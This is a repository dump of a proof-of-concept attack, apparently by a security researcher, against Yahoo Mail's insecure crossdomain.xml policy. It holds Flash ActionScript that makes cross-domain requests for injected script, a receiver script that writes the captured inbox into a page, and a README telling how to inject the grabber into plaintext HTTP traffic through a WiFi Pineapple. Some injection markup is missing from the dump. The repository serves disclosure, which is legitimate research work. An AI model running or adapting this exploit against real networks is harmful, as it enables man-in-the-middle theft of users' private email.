├── MailGrabber.swf ├── screenshot.png ├── receiver.js ├── LICENSE ├── grabberFrame.html ├── MailGrabber.as └── README.md /MailGrabber.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JordanMilne/YMail-Pineapple/HEAD/MailGrabber.swf -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/JordanMilne/YMail-Pineapple/HEAD/screenshot.png -------------------------------------------------------------------------------- /receiver.js: -------------------------------------------------------------------------------- 1 | document.write('
');
2 | 
3 | window.addEventListener('message', function(msg) {
4 |     // shit it into the DOM
5 |     document.getElementById("mail_col").textContent = msg.data;
6 | });
7 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2016 Jordan Milne
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/grabberFrame.html:
--------------------------------------------------------------------------------
 1 | 
48 | 
49 | 


--------------------------------------------------------------------------------
/MailGrabber.as:
--------------------------------------------------------------------------------
 1 | package {
 2 | 
 3 | import flash.display.*;
 4 | import flash.events.*;
 5 | import flash.external.*;
 6 | import flash.net.*;
 7 | import flash.text.*;
 8 | import flash.utils.*;
 9 | import flash.system.*;
10 | 
11 | public class MailGrabber extends MovieClip {
12 | 
13 |     public function MailGrabber() {
14 |         addEventListener(Event.ADDED_TO_STAGE, onAdded);
15 |     }
16 | 
17 |     private function onAdded(e:Event):void {
18 |         setTimeout(function():void {
19 |             if (ExternalInterface.available) {
20 |                 ExternalInterface.addCallback("send", send);
21 |                 ExternalInterface.call("flasherReady");
22 |             }
23 |         }, 1);
24 |     }
25 | 
26 |     public function send(url:String, data:String, callback:String):void {
27 |         var request:URLRequest = new URLRequest(url);
28 |         if (data) {
29 |             request.data = data;
30 |             request.method = 'POST';
31 |         }
32 |         var loader:URLLoader = new URLLoader();
33 |         var handler:Function = function handler(e:Event):void {
34 |             loader.removeEventListener(Event.COMPLETE, handler);
35 |             loader.removeEventListener(IOErrorEvent.IO_ERROR, handler);
36 |             loader.removeEventListener(SecurityErrorEvent.SECURITY_ERROR, handler);
37 |             if ( e.type != IOErrorEvent.IO_ERROR && e.type != SecurityErrorEvent.SECURITY_ERROR ) {
38 |                 ExternalInterface.call(callback, 200, encodeData(loader.data)); // fix status
39 |             } else {
40 |                 ExternalInterface.call(callback, 0, encodeData(loader.data)); // error TODO
41 |             }
42 |         }
43 |         
44 |         loader.addEventListener(Event.COMPLETE, handler);
45 |         loader.addEventListener(IOErrorEvent.IO_ERROR, handler);
46 |         loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, handler);
47 |         loader.load(request);
48 |     }
49 |     
50 |     private function encodeData(obj:Object):String {
51 |         return encodeURIComponent(JSON.stringify(obj));
52 |     }
53 | }
54 | }
55 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ## YMail-Pineapple
 2 | 
 3 | A couple years back [I mentioned](http://blog.saynotolinux.com/blog/2014/03/01/yahoos-pet-show-of-horrors-abusing-a-crossdomain-proxy-to-leak-a-users-email/) that Yahoo! Mail is vulnerable to active MITM attacks due to problems with its `crossdomain.xml` policy. Specifically, Yahoo Mail policy is
 4 | 
 5 | ```xml
 6 | 
 7 |     
 8 | 
 9 | ```
10 | 
11 | [Per Adobe](https://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html#articlecontentAdobe_numberedheader_0) "using \[secure=\]false in an HTTPS policy file is not recommended because this compromises the security offered by HTTPS."
12 | 
13 | Note that the ability to give insecure documents privileged access to secure resources isn't unique to Flash's crossdomain policies. [You can make the same mistake with CORS headers (see "Breaking HTTPS".)](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html)
14 | 
15 | Anywho, since Yahoo still hasn't fixed this I figured I'd demonstrate that this isn't just a handwavey warning, and that this makes Yahoo Mail trivially MITMable.
16 | 
17 | Putting aside aside my concerns about the security of its code, I own a Wifi Pineapple Mark V so the instructions assume you're using one as well. All of this could be reasonably adapted to any other router that can run vanilla OpenWRT.
18 | 
19 | ## How does it work?
20 | 
21 | First, we intercept every plaintext HTTP response and inject an `
39 | ```
40 | 
41 | * If you don't want to dump the inbox contents to the current page, edit `grabber.js` to do something other than `postMessage()` and remove the `receiver.js` line from `strip-n-inject`'s config
42 | 
43 | 
44 | ## Running
45 | 
46 | At this point you should be ready to test. Make sure you're logged in on YMail and navigate to http://www.cnn.com/ while connected to the Pineapple's public interface. You should see a box like
47 | 
48 | ![Emails dumped into www.cnn.com](/screenshot.png)
49 | 
50 | If you don't, make sure `strip-n-inject` is configured correctly and check your browser console.
51 | 
52 | ## Fixing
53 | 
54 | This will no longer work once Yahoo removes `secure="false"` from their `crossdomain.xml`s.
55 | 


--------------------------------------------------------------------------------